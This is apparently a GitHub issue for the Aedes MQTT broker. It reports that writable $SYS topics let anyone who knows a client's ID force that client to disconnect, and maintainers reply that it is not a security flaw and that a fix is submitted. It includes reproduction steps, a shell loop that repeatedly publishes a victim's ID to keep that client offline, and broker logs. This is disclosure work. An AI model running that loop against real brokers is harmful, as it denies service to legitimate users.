[bug] DoS Possibility if Client ID is known (Security)

System Information

• Aedes: git pulled from master
• NodeJS: 14.15.5
• OS: Arch Linux
• Arch: x86_64

Describe the bug Given that the $SYS topics are not read-only, an attacker can perform a Denial-of-Service attack on a client connected to aedes.

To Reproduce

1. Run the AEDES MQTT broker with default configs.
2. Listen to the $SYS/aedes-cli/new/clients topic to check for announcements of new clients. Let’s consider the attacker “captures” the ID X of a client connecting to the broker
3. (as per the above step) Subscribe to a /test topic using an mqtt client so that we can see the ID being announced as a new client
4. Publish a message to $SYS/aedes-cli-but-nope/new/clients with a payload of the captured client ID X.

Expected behavior The message published in $SYS is ignored since the topic is read-only for clients.

Actual Behaviour The client with ID X is disconnected by the aedes broker. Relevant code: https://github.com/moscajs/aedes/blob/c390099c27820cf81c97f4e9df9123cf9d558615/aedes.js#L150

Since the serverId will be different from the broker’s own ID, the broker will close the connection.

In my tests using mqtt node library to subscribe to topics and publish messages, the client that was under attack would repeatedly try to reconnect. However, if we repeatedly publish the DoS messages with a small delay, the client is stuck always attempting to reconnect and will not receive messages to their subscribed topics. Example script:

while true; do sleep 0.5; mqtt_pub -h localhost -t '$SYS/aedes-cli-but-nope/new/clients' 'mqttjs_4b829ced'; done

In which mqttjs_4b829ced is the ID X we have “stolen” above.

Additional context Screenshot that shows this happening:

A cleaned up snippet of an iteration of this attack:

------CLIENT INIT, client connected------
Client mqttjs_d8d76c44 CONNECTED, broker aedes-cli
Client BROKER_aedes-cli PUBLISH mqttjs_d8d76c44 on $SYS/aedes-cli/new/clients, broker aedes-cli
CONNACK sent to mqttjs_d8d76c44, broker aedes-cli
Client mqttjs_d8d76c44 READY, broker aedes-cli
Client mqttjs_e431dff2 DISCONNECTED, broker aedes-cli
Client BROKER_aedes-cli PUBLISH mqttjs_e431dff2 on $SYS/aedes-cli/disconnect/clients, broker aedes-cli
Client mqttjs_d8d76c44 PUBLISH mqttjs_e431dff2 on $SYS/aedes-cli-but-nope/new/clients, broker aedes-cli
Client mqttjs_e431dff2 UNSUBSCRIBED to: , broker aedes-cli
Client BROKER_aedes-cli PUBLISH {"clientId":"mqttjs_e431dff2","subs":["/test"]} on $SYS/aedes-cli/new/unsubscribes, broker aedes-cli
Client mqttjs_d8d76c44 DISCONNECTED, broker aedes-cli
Client BROKER_aedes-cli PUBLISH mqttjs_d8d76c44 on $SYS/aedes-cli/disconnect/clients, broker aedes-cli
------CLIENT INIT, client connected------
Client mqttjs_e431dff2 CONNECTED, broker aedes-cli
Client BROKER_aedes-cli PUBLISH mqttjs_e431dff2 on $SYS/aedes-cli/new/clients, broker aedes-cli
CONNACK sent to mqttjs_e431dff2, broker aedes-cli
Client mqttjs_e431dff2 READY, broker aedes-cli
Client mqttjs_e431dff2 SUBSCRIBED to: /test, broker aedes-cli
Client BROKER_aedes-cli PUBLISH {"clientId":"mqttjs_e431dff2","subs":[{"topic":"/test","qos":0}]} on $SYS/aedes-cli/new/subscribes, broker aedes-cli

For this run, mqttjs_e431dff2 was the ID of the attacked client, and mqttjs_d8d76c44 is the ID of the attacker.

We can see that the attacker connects and receives a CONNACK. It is considered READY, and meanwhile the attacked client is DISCONNECTED (probably out of order logging here) due to the PUBLISH done by the attacker (that appears in the following lines). The client later on reconnects just fine, but if this publishing is repeated (as mentioned above) the attacked client will be unable to receive the subscribed messages due to being almost constantly offline.

[mcollina]

@mcollina I’m sorry, the issue can be deleted if you prefer this to be discussed privately. I believe admins can do this. Otherwise I can edit the issue description and delete the previous revision.

No worries. Despite your claims, this is not a security vulnerability.

[robertsLando]

Just submitted a fix for this #622